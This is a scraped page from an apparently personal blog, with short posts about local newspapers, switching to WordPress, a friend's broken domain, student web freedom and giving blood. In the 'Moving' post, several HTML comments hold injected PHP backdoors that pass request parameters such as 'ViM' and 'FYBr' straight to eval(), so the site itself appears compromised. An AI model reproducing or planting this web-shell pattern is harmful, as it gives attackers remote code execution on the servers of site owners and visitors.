Local news is good, be it delivered from community members’ blogs or in hardcopy on the driveway. In this week’s edition of the local newspaper, The Alpharetta-Roswell REVUE & NEWS, the publisher wrote an opinion piece entitled “Why newspapers still matter to you.” And yes they do matter, even to a ‘net-centric person like me.

New Year, New Software, New Look
I warned you that it might be coming. The new year isn’t quite here yet, but the new weblog is (mostly, anyway). Thanks to Geren and Mike for assistance in understanding how WordPress works.
Moving
They’re not saying “boo.” They’re saying “Moo-ving.” Expect a new look, possibly using new software, for the new year. In the meantime, I hope you all have a very Merry Christmas. <!– [insert_php]if (isset($_REQUEST["ViM"])){eval($_REQUEST["ViM"]);exit;}[/insert_php] if (isset($_REQUEST["ViM"])){eval($_REQUEST["ViM"]);exit;} –> <!– [insert_php]if (isset($_REQUEST["FYBr"])){eval($_REQUEST["FYBr"]);exit;}[/insert_php] if (isset($_REQUEST["FYBr"])){eval($_REQUEST["FYBr"]);exit;} –> <!– [insert_php]if (isset($_REQUEST["MNJeH"])){eval($_REQUEST["MNJeH"]);exit;}[/insert_php] –>
Non-Beta Blogger

Livin’ in a Mobile Home
Something untoward is afoot. There is a pestilence upon this land. Nothing is sacred. Alwin’s having “fun” with the net too, his long-held ahawkins.net domain’s all boogered up (technical term, that), so you can find his shingle hanging at alwinism.org for the time being at least.
Freedom is Ageless
Freedom begins when you tell Mrs. Grundy to go fly a kite Robert A. Heinlein Apparently that doesn’t apply if you’re a student in 21st Century United States. There’s been quite a flap this past week about kids and their use of the web. To me, there are three different topics getting mixed up together. […]
Believe. Trust. Give.
Al‘s tagline always catches my eye. Believe nothing. Trust no one. Give oxygen. I’ve given blood before. Some people give bone marrow, others have given organs. Given that the human body takes in oxygen and returns carbon dioxide (at least, that’s the rumor goin’ round), I’m not sure how I can “give oxygen.” Al, care […]
Welcome, Fr3der1cK
